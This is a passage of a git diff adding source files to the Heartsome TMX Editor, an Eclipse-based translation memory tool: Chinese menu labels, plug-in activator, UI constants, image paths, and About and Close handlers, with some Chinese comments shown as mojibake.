\u6587\u4ef6... +menu.file.opentmxfile = \u6253\u5f00 TMX \u6587\u4ef6... +menu.file.opentmxdb = \u8fde\u63a5\u8bb0\u5fc6\u5e93 +menu.file.opentmxfiledb =\u6587\u4ef6\u578b\u8bb0\u5fc6\u5e93... +menu.file.opentmxserverdb =\u670d\u52a1\u5668\u8bb0\u5fc6\u5e93... +menu.file.closetmx = \u5173\u95ed +menu.file.save = \u4fdd\u5b58 +menu.file.saveas = \u5bfc\u51fa... +menu.file.tmxfileprop = \u5c5e\u6027... + +menu.edit.undo = \u64a4\u9500 +menu.edit.redo = \u91cd\u505a +menu.edit.copy = \u590d\u5236 +menu.edit.cut = \u526a\u5207 +menu.edit.paste = \u7c98\u8d34 +menu.edit.findReplace = \u67e5\u627e\u548c\u66ff\u6362 +menu.edit.splitTmx=\u5206\u5272 TMX... +menu.edit.mergeTmx=\u5408\u5e76 TMX... + +menu.tool=\u5de5\u5177(&T) +menu.tool.tmx2other=TMX \u8f6c\u6362\u4e3a... +menu.tool.other2tmx=\u8f6c\u6362\u4e3a TMX... +menu.tool.encodingcoverter = \u8f6c\u6362 TMX \u6587\u4ef6\u7f16\u7801... +menu.tool.options=\u9009\u9879... +menu.tool.tmxVvlidator = \u4fee\u590d TMX \u6587\u4ef6... +menu.tool.tool.category=\u5de5\u5177 +menu.tool.task.category=\u4efb\u52a1 +menu.tool.pairFile=\u6587\u4ef6\u914d\u5bf9 +menu.tool.system=\u7cfb\u7edf +menu.tool.connect.net=\u7f51\u7edc\u8fde\u63a5 +menu.tool.keyset=\u5feb\u6377\u952e + +menu.task.deleteEmptySegment=\u5220\u9664\u7a7a\u884c +menu.task.deleteDuplicateSegment=\u5220\u9664\u91cd\u590d\u7684\u884c +menu.task.deleteSameSrcSegmentDiffTgtSegment=\u5220\u9664\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u884c +menu.task.deleteTrimSegment=\u5220\u9664\u6bb5\u9996/\u6bb5\u672b\u7a7a\u683c +menu.task.deleteBatchJobs=\u6e05\u7406 TM... +menu.task.changLangCode=\u66f4\u6539\u8bed\u8a00\u4ee3\u7801 +menu.task.deleteLangCode=\u5220\u9664\u6307\u5b9a\u8bed\u8a00 +menu.task.cleanInnerTags=\u6e05\u9664\u6240\u6709\u6807\u8bb0 +menu.task.cleanSelectInnerTags=\u5220\u9664\u9009\u4e2d\u884c\u6240\u6709\u6807\u8bb0 + +menu.help.about = \u5173\u4e8e Heartsome TMX Editor +menu.help.keyAssist = \u5feb\u6377\u952e \ No newline at end of file diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/Activator.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/Activator.java new file mode 100644 index 0000000..06a289f --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/Activator.java @@ -0,0 +1,66 @@ +package net.heartsome.cat.te.ui; + + +import net.heartsome.cat.te.ui.preferencepage.IPreferenceConstants; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.te.ui"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + String fontName = getPreferenceStore().getString(IPreferenceConstants.TMX_EDITOR_FONT_NAME); + int size = getPreferenceStore().getInt(IPreferenceConstants.TMX_EDITOR_FONT_SIZE); + FontData fontData = new FontData(); + fontData.setHeight(size); + fontData.setName(fontName); + JFaceResources.getFontRegistry().put(Constants.TMX_EDITOR_TEXT_FONT, new FontData[]{fontData}); + System.setProperty("user.name", getPreferenceStore().getString(IPreferenceConstants.SYSTEM_USER)); + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/Constants.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/Constants.java new file mode 100644 index 0000000..9a5d289 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/Constants.java @@ -0,0 +1,161 @@ +package net.heartsome.cat.te.ui; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +/** + * TS 中 UI 相关的常é‡ç±» + * @author weachy + * @version + * @since JDK1.5 + */ +public class Constants { + + /** symbolic font name for the XLIFF editor */ + public static final String TMX_EDITOR_TEXT_FONT = "net.heartsome.cat.te.ui.tmxeditor.font"; + + + public static final char TAB_CHARACTER = '\u2192'; + public static final char LINE_SEPARATOR_CHARACTER = '\u21B2'; + public static final char SPACE_CHARACTER = '\u2219'; + + /** + * NatTable 中æ¯æ¡æ–‡æœ¬æ®µçš„内容行间è·ã€‚ + */ + public static final int SEGMENT_LINE_SPACING = 1; + + public static final int SEGMENT_TOP_MARGIN = 2; + + public static final int SEGMENT_BOTTOM_MARGIN = 2; + + public static final int SEGMENT_RIGHT_MARGIN = 2; + + public static final int SEGMENT_LEFT_MARGIN = 2; + + /** å¿«æ·é”®åˆ—表中无用的项 */ + private static final String[] arrRemove = new String[] { + "org.eclipse.ui.file.export", + "org.eclipse.ui.newWizard", + "org.eclipse.ui.window.lockToolBar", + "org.eclipse.ui.window.minimizePart", + "org.eclipse.ui.file.print", + "org.eclipse.ui.ide.configureColumns", + "org.eclipse.ui.file.import", + "org.eclipse.ui.window.activateEditor", + "org.eclipse.ui.project.properties", + "org.eclipse.ui.navigate.next", + "org.eclipse.ui.help.helpSearch", + "org.eclipse.ui.window.resetPerspective", + "org.eclipse.ui.window.previousEditor", + "org.eclipse.ui.file.save", + "org.eclipse.ui.file.properties", + "org.eclipse.ui.window.previousView", + "org.eclipse.ui.edit.text.contentAssist.proposals", // "org.eclipse.ui.file.closeAll", + "org.eclipse.ui.window.showViewMenu", "org.eclipse.ui.window.previousPerspective", + "org.eclipse.ui.project.closeUnrelatedProjects", "org.eclipse.ui.texteditor.TaskRulerAction", + "org.eclipse.ui.texteditor.BookmarkRulerAction", "org.eclipse.ui.navigate.previousSubTab", + "org.eclipse.ui.help.dynamicHelp", "org.eclipse.ui.navigate.forwardHistory", + "org.eclipse.ui.ide.configureFilters", "org.eclipse.ui.window.nextPerspective", + "org.eclipse.ui.edit.text.contentAssist.contextInformation", "org.eclipse.ui.navigate.nextSubTab", + "org.eclipse.ui.file.import", "org.eclipse.ui.navigate.collapseAll", "org.eclipse.ui.window.nextEditor", + "org.eclipse.ui.part.nextPage", "org.eclipse.ui.window.switchToEditor", + "org.eclipse.ui.window.showSystemMenu", "org.eclipse.ui.part.previousPage", + "org.eclipse.ui.navigate.linkWithEditor", "org.eclipse.ui.file.closeOthers", + "org.eclipse.ui.navigate.previous", "org.eclipse.ui.file.saveAll", "org.eclipse.ui.help.displayHelp", + "org.eclipse.ui.window.showKeyAssist", "org.eclipse.ui.help.aboutAction", "org.eclipse.ui.window.nextView", + "org.eclipse.ui.navigate.backwardHistory", "org.eclipse.ui.file.closeOthers=", + "org.eclipse.ui.window.openEditorDropDown", "org.eclipse.ui.window.maximizePart", + "org.eclipse.ui.window.preferences", "org.eclipse.ui.navigate.removeFromWorkingSet", + "org.eclipse.ui.edit.text.gotoLastEditPosition", "org.eclipse.ui.edit.text.select.textStart", + "org.eclipse.ui.project.buildAll", "org.eclipse.ui.browser.openBundleResource", + "org.eclipse.ui.edit.text.deletePrevious", "org.eclipse.ui.file.revert", + "org.eclipse.ui.window.hideShowEditors", "org.eclipse.ui.edit.text.goto.columnPrevious", + "org.eclipse.ui.edit.text.clear.mark", "org.eclipse.ui.edit.text.moveLineUp", + "org.eclipse.ui.navigate.showIn", "org.eclipse.ui.edit.text.folding.toggle", + "org.eclipse.ui.ide.markCompleted", "org.eclipse.ui.edit.text.select.lineUp", + "org.eclipse.ui.edit.addTask", "org.eclipse.ui.edit.text.removeTrailingWhitespace", + "org.eclipse.ui.edit.text.deleteNext", "org.eclipse.ui.edit.text.goto.windowStart", + "org.eclipse.ui.window.newEditor", "org.eclipse.ui.update.findAndInstallUpdates", + "org.eclipse.ui.edit.text.hippieCompletion", "org.eclipse.ui.edit.text.copyLineDown", + "org.eclipse.ui.views.showView", "org.eclipse.ui.edit.text.swap.mark", + "org.eclipse.ui.project.rebuildProject", "org.eclipse.ui.project.buildAutomatically", + "org.eclipse.ui.edit.text.smartEnterInverse", "org.eclipse.ui.edit.text.select.pageUp", + "org.eclipse.ui.navigate.nextTab", "org.eclipse.ui.project.buildProject", + "org.eclipse.ui.edit.text.select.wordPrevious", + "org.eclipse.jdt.ui.edit.text.java.correction.assist.proposals", "org.eclipse.ui.window.spy", + "org.eclipse.ui.edit.text.select.pageDown", "org.eclipse.ui.edit.text.folding.expand_all", + "org.eclipse.ui.window.closePerspective", "org.eclipse.ui.edit.text.upperCase", + "org.eclipse.ui.edit.text.goto.lineDown", "org.eclipse.ui.views.properties.NewPropertySheetCommand", + "org.eclipse.ui.edit.text.toggleOverwrite", "org.eclipse.ui.edit.findNext", "org.eclipse.ui.navigate.back", + "org.eclipse.ui.navigate.up", "org.eclipse.ui.edit.text.delimiter.unix", + "org.eclipse.ui.edit.text.showRulerContextMenu", "org.eclipse.ui.help.tipsAndTricksAction", + "org.eclipse.ui.perspectives.showPerspective", "org.eclipse.quickdiff.toggle", + "org.eclipse.ui.navigate.expandAll", "org.eclipse.help.ui.closeTray", + "AUTOGEN:::org.eclipse.ui.texteditor.ruler.actions/org.eclipse.ui.texteditor.BookmarkRulerAction", + "org.eclipse.ui.edit.text.delete.line.to.end", "org.eclipse.ui.edit.text.open.hyperlink", + "org.eclipse.ui.ToggleCoolbarAction", "org.eclipse.ui.edit.text.deleteNextWord", + "org.eclipse.ui.window.savePerspective", "org.eclipse.ui.window.newWindow", + "org.eclipse.ui.edit.text.openLocalFile", "org.eclipse.ui.ide.copyConfigCommand", + "org.eclipse.ui.edit.text.join.lines", "org.eclipse.ui.edit.text.folding.collapse", + "org.eclipse.ui.edit.text.delimiter.macOS9", "org.eclipse.ui.edit.text.goto.lineStart", + "org.eclipse.ui.file.newQuickMenu", "org.eclipse.ui.editors.revisions.id.toggle", + "AUTOGEN:::org.eclipse.ui.texteditor.ruler.context.actions/org.eclipse.ui.texteditor.TaskRulerAction", + "org.eclipse.ui.edit.text.toggleShowSelectedElementOnly", "org.eclipse.ui.window.pinEditor", + "org.eclipse.ui.edit.text.toggleShowWhitespaceCharacters", "org.eclipse.ui.edit.text.goto.windowEnd", + "org.eclipse.ui.edit.text.copyLineUp", "org.eclipse.ui.edit.text.cut.line.to.end", + "org.eclipse.ui.edit.text.goto.line", "org.eclipse.ui.navigate.showInQuickMenu", + "org.eclipse.ui.edit.text.goto.lineEnd", "org.eclipse.ui.edit.text.toggleBlockSelectionMode", + "org.eclipse.ui.window.quickAccess", "org.eclipse.ui.edit.text.select.lineEnd", + "org.eclipse.ui.editors.revisions.rendering.cycle", "org.eclipse.ui.file.openWorkspace", + "org.eclipse.ui.edit.text.set.mark", "org.eclipse.ui.edit.text.toggleInsertMode", + "org.eclipse.ui.edit.text.select.columnNext", "org.eclipse.ui.edit.text.lowerCase", + "AUTOGEN:::org.eclipse.ui.texteditor.ruler.context.actions/org.eclipse.ui.texteditor.BookmarkRulerAction", + "org.eclipse.ui.edit.text.folding.restore", "org.eclipse.ui.edit.text.goto.columnNext", + "org.eclipse.ui.edit.text.recenter", "org.eclipse.ui.edit.text.deletePreviousWord", + "org.eclipse.ui.editors.lineNumberToggle", "org.eclipse.ui.edit.text.scroll.lineDown", + "org.eclipse.ui.file.saveAs", "org.eclipse.ui.edit.text.select.windowEnd", + "org.eclipse.ui.edit.text.goto.pageDown", + "AUTOGEN:::org.eclipse.ui.texteditor.ruler.actions/org.eclipse.ui.texteditor.SelectRulerAction", + "org.eclipse.ui.navigate.goToResource", "org.eclipse.ui.window.closeAllPerspectives", + "org.eclipse.ui.edit.text.select.lineDown", "org.eclipse.ui.edit.text.showRulerAnnotationInformation", + "org.eclipse.ui.edit.text.goto.textEnd", "org.eclipse.ui.editors.quickdiff.revert", + "org.eclipse.ui.edit.text.showChangeRulerInformation", "org.eclipse.ui.edit.text.scroll.lineUp", + "org.eclipse.ui.navigate.goInto", "org.eclipse.ui.edit.text.folding.expand", + "org.eclipse.ui.file.restartWorkbench", "org.eclipse.ui.edit.text.smartEnter", + "org.eclipse.ui.edit.text.cut.line.to.beginning", "org.eclipse.ui.edit.text.goto.pageUp", + "org.eclipse.ui.edit.findPrevious", "org.eclipse.ui.update.manageConfiguration", + "org.eclipse.ui.edit.text.select.lineStart", "org.eclipse.ui.help.installationDialog", + "org.eclipse.ui.project.rebuildAll", "org.eclipse.ui.project.cleanAction", + "org.eclipse.ui.navigate.addToWorkingSet", "org.eclipse.ui.navigate.selectWorkingSets", + "org.eclipse.ui.edit.text.delimiter.windows", "org.eclipse.ui.editors.revisions.author.toggle", + "org.eclipse.ui.window.customizePerspective", "org.eclipse.ui.navigate.forward", + "org.eclipse.ui.ide.OpenMarkersView", "org.eclipse.ui.edit.text.select.textEnd", + "org.eclipse.ui.edit.text.goto.wordPrevious", "org.eclipse.ui.edit.text.showInformation", + "org.eclipse.ui.ide.copyBuildIdCommand", "org.eclipse.ui.edit.text.moveLineDown", + "org.eclipse.ui.edit.text.delete.line.to.beginning", "org.eclipse.ui.ide.deleteCompleted", + "org.eclipse.ui.edit.addBookmark", "org.eclipse.ui.edit.text.select.windowStart", + "org.eclipse.ui.navigate.previousTab", "org.eclipse.ui.edit.text.select.wordNext", + "org.eclipse.ui.project.buildLast", "org.eclipse.ui.edit.findIncremental", + "org.eclipse.ui.edit.text.select.columnPrevious", "org.eclipse.ui.edit.findIncrementalReverse", + "org.eclipse.ui.edit.text.goto.wordNext", "org.eclipse.ui.navigate.openResource", + "org.eclipse.ui.project.openProject", "org.eclipse.ui.edit.text.shiftLeft", "org.eclipse.ui.edit.move", + "org.eclipse.ui.file.closePart", "org.eclipse.ui.edit.text.goto.lineUp", + "org.eclipse.ui.edit.text.delete.line", "org.eclipse.ui.edit.text.goto.textStart", + "org.eclipse.ui.help.quickStartAction", "org.eclipse.ui.edit.text.shiftRight", + "org.eclipse.ui.editors.quickdiff.revertLine", "org.eclipse.help.ui.indexcommand", + "org.eclipse.ui.edit.text.folding.collapse_all", "org.eclipse.ui.edit.revertToSaved", + "org.eclipse.ui.edit.text.cut.line", "org.eclipse.ui.project.closeProject", + "org.eclipse.ui.cocoa.closeDialog", "org.eclipse.ui.cocoa.zoomWindow", + "org.eclipse.ui.cocoa.arrangeWindowsInFront", "org.eclipse.ui.cocoa.minimizeWindow", + "net.heartsome.cat.ts.command.newMenu.pulldown", + "net.heartsome.cat.convert.ui.commands.OpenMergedXliffCommand" , + "org.eclipse.ui.edit.rename" , + "org.eclipse.ui.file.closeAll", + "org.eclipse.ui.file.refresh", + "org.eclipse.ui.file.close" + }; + + public static final List lstRemove = new ArrayList(Arrays.asList(arrRemove)); + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/ImageConstants.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/ImageConstants.java new file mode 100644 index 0000000..ae20485 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/ImageConstants.java @@ -0,0 +1,81 @@ +/** + * ImageConstants.java + * + * Version information : + * + * Date:2012-5-3 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.ui; + +/** + * 图片资æºå¸¸é‡ + * @author jason + * @version + * @since JDK1.6 + */ +public interface ImageConstants { + String CHECKED = "images/database/new-project/checked.gif"; + String UNCHECKED = "images/database/new-project/unchecked.gif"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­é€‰æ‹©è¯­è¨€æŒ‰é’®çš„图片 */ + public static final String CONCORDANCE_SELECT_LANG = "images/dialog/change-lang.png"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­ç¬¬ä¸€é¡µæŒ‰é’®å›¾ç‰‡ */ + public static final String PAGE_FIRST = "images/dialog/first-page.png"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­ä¸Šä¸€é¡µæŒ‰é’®å›¾ç‰‡ */ + public static final String PAGE_PRE = "images/dialog/previous-page.png"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­ä¸‹ä¸€é¡µæŒ‰é’®å›¾ç‰‡ */ + public static final String PAGE_NEXT = "images/dialog/next-page.png"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­æœ€åŽä¸€é¡µæŒ‰é’®å›¾ç‰‡ */ + public static final String PAGE_LAST = "images/dialog/last-page.png"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­æ·»åŠ æ ‡è®°å›¾ç‰‡è·¯å¾„ */ + public static final String TAG_ADD = "images/dialog/true.gif"; + + /** 相关æœç´¢å¯¹è¯æ¡†ä¸­åˆ é™¤æ ‡è®°å›¾ç‰‡è·¯å¾„ */ + public static final String TAG_DELETE = "images/dialog/error.png"; + + // æ•°æ®åº“管ç†æ¨¡å— + public static final String ORACLE = "images/database/db-manage/oracle.png"; + public static final String MYSQL = "images/database/db-manage/mysql.png"; + public static final String POSTGRESQL = "images/database/db-manage/postgresql.png"; + public static final String SQLSERVER = "images/database/db-manage/sqlserver.png"; + public static final String INTERNALDB = "images/database/db-manage/internaldb.png"; + public static final String IP = "images/database/db-manage/ip.png"; + public static final String SQLITE = "images/database/db-manage/sqlite.png"; + + // ----------------- 首选项------------------------// + /** 语言添加或更新对è¯æ¡†ä¸­çš„空白图片 */ + public static final String LANG_EMPTYPIC = "images/preference/system/no-pic.png"; + /** 语言设置中的是å¦bidi */ + public static final String LANG_ISBIDI = "images/preference/system/is-bidi.png"; + + /** 首选项 -> 系统界é¢çš„更新策略图片路径 */ + public static final String PREFERENCE_SYS_UPDATE = "images/preference/system/sys_update_32.png"; + + + /** 首选项 -> 系统界é¢çš„设置界é¢è¯­è¨€å›¾ç‰‡è·¯å¾„ */ + public static final String PREFERENCE_SYS_LANGUAGE = "images/preference/system/sys_language_32.png"; + + /** 首选项 -> 系统界é¢çš„用户å设置图片路径 */ + public static final String PREFERENCE_SYS_USER = "images/preference/system/sys_user_32.png"; + + + + /** 首选项 -> å¿«æ·é”®é¡µé¢çš„图片路径 */ + public static final String PREFERENCE_SYS_KEY = "images/preference/system/sys_keys_32.png"; + + /** 首选项 -> 语言代ç é¡µé¢çš„图片路径 */ + public static final String PREFERENCE_SYS_LANG_CODE = "images/preference/system/sys_language_code_32.png"; + + + // ----------------- 首选项------------------------// +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/about/handler/AboutHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/about/handler/AboutHandler.java new file mode 100644 index 0000000..96cd63e --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/about/handler/AboutHandler.java @@ -0,0 +1,41 @@ +package net.heartsome.cat.te.ui.about.handler; + +import net.heartsome.cat.te.ui.about.ui.AboutDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * 关于... + * @author peason + * @version + * @since JDK1.6 + */ +public class AboutHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { +// String tshelp = System.getProperties().getProperty("TSHelp"); +// String tsstate = System.getProperties().getProperty("TSState"); +// if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { +// LoggerFactory.getLogger(AboutHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); +// System.exit(0); +// } + Shell shell = HandlerUtil.getActiveShell(event); +// String version = System.getProperty("TSEdition"); +// String version2 = System.getProperty("TSVersionDate"); +// if (version == null || version2 == null || version.equals("") || version2.equals("")) { +// MessageDialog.openInformation(shell, Messages.getString("dialog.AboutDialog.msgTitle"), +// Messages.getString("dialog.AboutDialog.msg")); +// PlatformUI.getWorkbench().close(); +// } else { +// SystemResourceUtil.load(); + AboutDialog dialog = new AboutDialog(shell); + dialog.open(); +// } + return null; + } + +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/about/ui/AboutDialog.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/about/ui/AboutDialog.java new file mode 100644 index 0000000..c93aa1a --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/about/ui/AboutDialog.java @@ -0,0 +1,154 @@ +package net.heartsome.cat.te.ui.about.ui; + +import java.text.MessageFormat; + +import net.heartsome.cat.te.ui.Activator; +import net.heartsome.cat.te.ui.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.program.Program; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Link; +import org.eclipse.swt.widgets.Shell; + +/** + * 关于对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class AboutDialog extends Dialog { + + private Image image; + private Font font; + + public AboutDialog(Shell parentShell) { + super(parentShell); + image = Activator.getImageDescriptor("images/help/about.bmp").createImage(); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.AboutDialog.title")); + } + + @Override + protected Control createDialogArea(Composite parent) { + final Composite tparent = (Composite) super.createDialogArea(parent); + GridLayoutFactory.swtDefaults().spacing(0, 0).extendedMargins(SWT.DEFAULT, SWT.DEFAULT, 0, 8).applyTo(tparent); + GridData parentData = new GridData(GridData.FILL_BOTH); + parentData.heightHint = 480; + parentData.widthHint = 445; + tparent.setLayoutData(parentData); + + Composite cmpMain = new Composite(tparent, SWT.None); + cmpMain.setLayout(new GridLayout()); + cmpMain.setLayoutData(new GridData(GridData.FILL_BOTH)); + Color white = Display.getDefault().getSystemColor(SWT.COLOR_WHITE); + cmpMain.setBackground(white); + + Label lblImage = new Label(cmpMain, SWT.CENTER); + lblImage.setImage(image); + // lblImage.setLayoutData(new GridData(GridData.FILL_BOTH)); + lblImage.setBackground(white); + + GridData data = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_HORIZONTAL); + + Label lblVersion = new Label(cmpMain, SWT.BOLD); + FontData fontData = Display.getDefault().getSystemFont().getFontData()[0]; + fontData.setStyle(fontData.getStyle() | SWT.BOLD); + this.font = new Font(lblVersion.getDisplay(), fontData); + lblVersion.setText(Messages.getString("dialog.AboutDialog.lblVersion")); + lblVersion.setLayoutData(data); + lblVersion.setBackground(white); + + Label lblVersion2 = new Label(cmpMain, SWT.None); + String version2 = System.getProperty("TSVersionDate"); + lblVersion2.setText(MessageFormat.format(Messages.getString("dialog.AboutDialog.lblVersion2"), + version2.substring(0, version2.lastIndexOf(".")), version2.substring(version2.lastIndexOf(".") + 1))); + lblVersion2.setLayoutData(data); + lblVersion2.setBackground(white); + + Composite cmpWeb = new Composite(cmpMain, SWT.None); + cmpWeb.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + GridLayoutFactory.swtDefaults().numColumns(2).equalWidth(false).extendedMargins(-5, 0, 0, 0).applyTo(cmpWeb); + cmpWeb.setBackground(white); + Label lblProduct = new Label(cmpWeb, SWT.None); + lblProduct.setText(Messages.getString("dialog.AboutDialog.lblProduct")); + lblProduct.setBackground(white); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lblProduct); + Link productLink = new Link(cmpWeb, SWT.NONE); + productLink.setText("" + Messages.getString("dialog.AboutDialog.productLink") + ""); + productLink.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + Program.launch(Messages.getString("dialog.AboutDialog.productLink")); + } + }); + productLink.setBackground(white); + + Label lblSupport = new Label(cmpWeb, SWT.None); + lblSupport.setText(Messages.getString("dialog.AboutDialog.lblSupport")); + lblSupport.setBackground(white); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lblSupport); + Link supportLink = new Link(cmpWeb, SWT.NONE); + supportLink.setText("" + Messages.getString("dialog.AboutDialog.supportLink") + ""); + supportLink.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + Program.launch(Messages.getString("dialog.AboutDialog.supportLink")); + } + }); + supportLink.setBackground(white); + + Label lblCopyRight = new Label(cmpMain, SWT.None); + lblCopyRight.setText(Messages.getString("dialog.AboutDialog.lblCopyRight")); + lblCopyRight.setLayoutData(data); + lblCopyRight.setBackground(white); + + Composite cmpWarn = new Composite(tparent, SWT.None); + cmpWarn.setLayout(new GridLayout()); + cmpWarn.setLayoutData(new GridData(GridData.FILL_BOTH)); + Label lblWarn = new Label(cmpWarn, SWT.WRAP); + lblWarn.setLayoutData(new GridData(GridData.FILL_BOTH)); + Point bodySize = parent.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + GridData gd = (GridData) lblWarn.getLayoutData(); + gd.widthHint = bodySize.x; + lblWarn.setText(Messages.getString("dialog.AboutDialog.lblWarn")); + + return tparent; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + } + + @Override + public boolean close() { + if (image != null && !image.isDisposed()) { + image.dispose(); + } + if (font != null && !font.isDisposed()) { + font.dispose(); + } + return super.close(); + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/closetmx/CloseTmxHandler.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/closetmx/CloseTmxHandler.java new file mode 100644 index 0000000..d29ff20 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/closetmx/CloseTmxHandler.java @@ -0,0 +1,42 @@ +/** + * CloseTmxHandler.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.ui.closetmx; + +import net.heartsome.cat.te.core.utils.TeCoreUtils; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.ui.Activator; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; + +/** + * + * @author Jason + * @version + * @since JDK1.6 + */ +public class CloseTmxHandler extends AbstractHandler { + + @Override + public Object execute(ExecutionEvent event) throws ExecutionException { + // TODO 处ç†propertiesview + TmxEditorViewer editorViewer = TmxEditorViewer.getInstance(); + editorViewer.closeTmx(); + 